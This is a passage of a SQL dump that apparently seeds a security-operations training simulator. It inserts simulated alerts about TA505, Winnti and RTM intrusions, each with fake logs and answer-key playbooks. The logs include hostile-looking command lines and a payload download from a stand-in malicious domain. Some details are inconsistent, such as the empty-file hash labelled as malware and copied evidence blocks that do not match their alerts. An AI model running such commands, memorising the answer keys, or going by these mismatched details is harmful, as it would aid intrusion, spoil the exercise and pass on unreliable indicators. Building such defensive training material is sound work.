3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"hostname\\\":\\\"workstation-15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"script_name\\\":\\\"update_check.ps1\\\",\\\"script_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update_check.ps1\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"event_id\\\":\\\"4720\\\",\\\"additional_info\\\":\\\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.838Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"hostname\\\":\\\"workstation-15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"script_name\\\":\\\"update_check.ps1\\\",\\\"script_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update_check.ps1\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"event_id\\\":\\\"4720\\\",\\\"additional_info\\\":\\\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1120, 'Persistent Network Anomalies', 'medium', 'Network Traffic Analysis', 'The RTM Group is suspected of maintaining persistent access within the network by utilizing legitimate software processes. Anomalous network traffic has been detected, indicating potential backdoor access via compromised software.', 'Persistence', 'T1505: Server Software Component', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:23Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.5\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"HTTPS\",\"user_agent\":\"legitimate-software-v3.1\",\"filename\":\"legit_software_updater.exe\",\"file_hash\":\"3a7bd3b456b9e6d8a1f3d4cb8f7c9b7de8b6a1f7\",\"username\":\"jdoe\",\"event_description\":\"Anomalous outbound connection detected potentially indicating a persistent backdoor. The process is utilizing legitimate update mechanisms to communicate with a known malicious IP.\"}', '2026-02-01 13:57:41', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with RTM Group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a7bd3b456b9e6d8a1f3d4cb8f7c9b7de8b6a1f7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash potentially linked to modified legitimate software used as a backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"legit_software_updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"clean\",\"details\":\"Commonly used legitimate software updater.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Active directory user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1121, 'Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email detected as part of TA505\'s signature campaign aimed at distributing the Dridex banking trojan. The email contained a malicious attachment intended to gain initial access to the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-08T14:22:35Z\",\"email_id\":\"e2f5b8d0-9c39-47a3-95b3-2f7a9e5f8e1b\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"sender_email\":\"malicious_actor@ta505campaign.com\",\"recipient_email\":\"john.doe@company.com\",\"subject\":\"Invoice Attached\",\"attachment\":{\"filename\":\"Invoice_2023.doc\",\"hash\":\"3f4d5c6a8b9e0f1234567890abcdef12\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"email_headers\":{\"from\":\"malicious_actor@ta505campaign.com\",\"to\":\"john.doe@company.com\",\"subject\":\"Invoice Attached\",\"message_id\":\"<1234567890@mail.ta505campaign.com>\"}}', '2026-02-01 13:58:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"malicious_actor@ta505campaign.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"malicious\",\"details\":\"Email involved in known TA505 phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Invoice_2023.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f4d5c6a8b9e0f1234567890abcdef12\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Dridex variant.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:22.841Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1122, 'Macro Execution in Document', 'high', 'Endpoint Detection and Response (EDR) Systems', 'Following successful delivery, the malicious document\'s macros are executed, initiating the download and installation of Dridex on the compromised system. The execution of the macro was detected on the endpoint, which downloaded the Dridex payload from a known malicious IP.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:18Z\",\"event_type\":\"macro_execution\",\"user\":\"jdoe\",\"host_ip\":\"192.168.1.15\",\"file_name\":\"invoice_2023.xlsm\",\"macro_id\":\"macro_001\",\"downloaded_payload\":{\"url\":\"http://malicious-domain.com/dridex.bin\",\"hash\":\"9f573a6b0b1a7d8c1f3e2b9d5a4c3e6f\",\"source_ip\":\"203.0.113.25\"},\"process\":{\"name\":\"excel.exe\",\"pid\":3456},\"external_ip\":\"203.0.113.25\",\"indicators\":[\"203.0.113.25\",\"9f573a6b0b1a7d8c1f3e2b9d5a4c3e6f\",\"invoice_2023.xlsm\"]}', '2026-02-01 13:58:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple Dridex campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9f573a6b0b1a7d8c1f3e2b9d5a4c3e6f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Dridex malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice_2023.xlsm\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1123, 'Establishing Backdoor - TA505 Persistence', 'high', 'Network Traffic Analysis', 'TA505 is employing advanced techniques to maintain persistence within the network by establishing a backdoor. This facilitates the deployment of additional payloads such as Locky ransomware.', 'Persistence', 'T1105 - Ingress Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"file_hash\":\"9f2b4fc2b9e8b8f8c2d72e5bd4d9b826\",\"file_name\":\"backdoor_payload.exe\",\"command\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\backdoor_payload.exe\",\"action\":\"Connection Allowed\",\"additional_info\":{\"malware_family\":\"Locky\",\"c2_domain\":\"maliciousdomain.com\"}}', '2026-02-01 13:58:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP within internal network range\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known Command and Control (C2) server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f2b4fc2b9e8b8f8c2d72e5bd4d9b826\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Locky ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_payload.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Uncommon filename observed in network traffic\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1124, 'Credential Dumping Detected', 'high', 'Security Information and Event Management (SIEM)', 'Credential dumping activity detected indicating potential lateral movement by threat actor TA505. The attacker aims to deploy Clop ransomware using harvested credentials.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-24T14:32:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"admin\",\"login_type\":\"Network\",\"process_name\":\"lsass.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"detected_by\":\"SIEM\",\"action_taken\":\"none\",\"description\":\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\"}', '2026-02-01 13:58:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with TA505 campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping tools.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalRecords\",\"verdict\":\"suspicious\",\"details\":\"High-value target account used in unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"login_type\\\":\\\"Network\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"action_taken\\\":\\\"none\\\",\\\"description\\\":\\\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"login_type\\\":\\\"Network\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"action_taken\\\":\\\"none\\\",\\\"description\\\":\\\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"login_type\\\":\\\"Network\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"action_taken\\\":\\\"none\\\",\\\"description\\\":\\\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"login_type\\\":\\\"Network\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"action_taken\\\":\\\"none\\\",\\\"description\\\":\\\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-24T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"login_type\\\":\\\"Network\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"action_taken\\\":\\\"none\\\",\\\"description\\\":\\\"Unauthorized credential access detected on host 192.168.1.25 from IP 203.0.113.45 using process lsass.exe.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1125, 'Data Exfiltration via Clop Ransomware', 'critical', 'Data Loss Prevention (DLP) Systems', 'In the final phase of the attack, Clop ransomware has been activated on host 10.1.1.15. Sensitive data is being exfiltrated to an external IP 185.83.214.42 before files are encrypted, marking the completion of the attack chain and a subsequent ransom demand. Detected malicious file hash indicates known Clop variant.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T09:45:23Z\",\"event_id\":\"dlp-00432\",\"source_ip\":\"10.1.1.15\",\"destination_ip\":\"185.83.214.42\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"sensitive_data_backup.zip\",\"username\":\"jdoe\",\"event_description\":\"Data exfiltration detected. Suspected Clop ransomware activity.\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"protocol\":\"HTTP\",\"data_size\":\"2GB\"}', '2026-02-01 13:58:57', '2026-02-16 17:48:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host involved in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.83.214.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Clop ransomware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a Clop ransomware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data_backup.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file integrity monitoring\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of exfiltrated sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.846Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T09:45:23Z\\\",\\\"event_id\\\":\\\"dlp-00432\\\",\\\"source_ip\\\":\\\"10.1.1.15\\\",\\\"destination_ip\\\":\\\"185.83.214.42\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"sensitive_data_backup.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_description\\\":\\\"Data exfiltration detected. Suspected Clop ransomware activity.\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"data_size\\\":\\\"2GB\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.846Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T09:45:23Z\\\",\\\"event_id\\\":\\\"dlp-00432\\\",\\\"source_ip\\\":\\\"10.1.1.15\\\",\\\"destination_ip\\\":\\\"185.83.214.42\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"sensitive_data_backup.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_description\\\":\\\"Data exfiltration detected. Suspected Clop ransomware activity.\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"data_size\\\":\\\"2GB\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.846Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T09:45:23Z\\\",\\\"event_id\\\":\\\"dlp-00432\\\",\\\"source_ip\\\":\\\"10.1.1.15\\\",\\\"destination_ip\\\":\\\"185.83.214.42\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"sensitive_data_backup.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_description\\\":\\\"Data exfiltration detected. Suspected Clop ransomware activity.\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"data_size\\\":\\\"2GB\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.846Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T09:45:23Z\\\",\\\"event_id\\\":\\\"dlp-00432\\\",\\\"source_ip\\\":\\\"10.1.1.15\\\",\\\"destination_ip\\\":\\\"185.83.214.42\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"sensitive_data_backup.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_description\\\":\\\"Data exfiltration detected. Suspected Clop ransomware activity.\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"data_size\\\":\\\"2GB\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.846Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T09:45:23Z\\\",\\\"event_id\\\":\\\"dlp-00432\\\",\\\"source_ip\\\":\\\"10.1.1.15\\\",\\\"destination_ip\\\":\\\"185.83.214.42\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"sensitive_data_backup.zip\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_description\\\":\\\"Data exfiltration detected. Suspected Clop ransomware activity.\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"data_size\\\":\\\"2GB\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1126, 'Suspicious Network Activity Detected', 'medium', 'IDS/IPS Logs', 'Initial access attempt detected from a suspicious IP address, potentially linked to the Winnti Group, exploiting a vulnerability in the game distributor network. The traffic mimics legitimate game distribution traffic to avoid detection.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:45:32Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"http_method\":\"GET\",\"url\":\"/dist/gameupdate\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"signature_id\":\"2023456\",\"signature_info\":\"Exploitation of vulnerability in game distribution\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"gameupdate.exe\"}', '2026-02-01 14:01:26', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with Winnti Group activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server IP within gaming company\'s 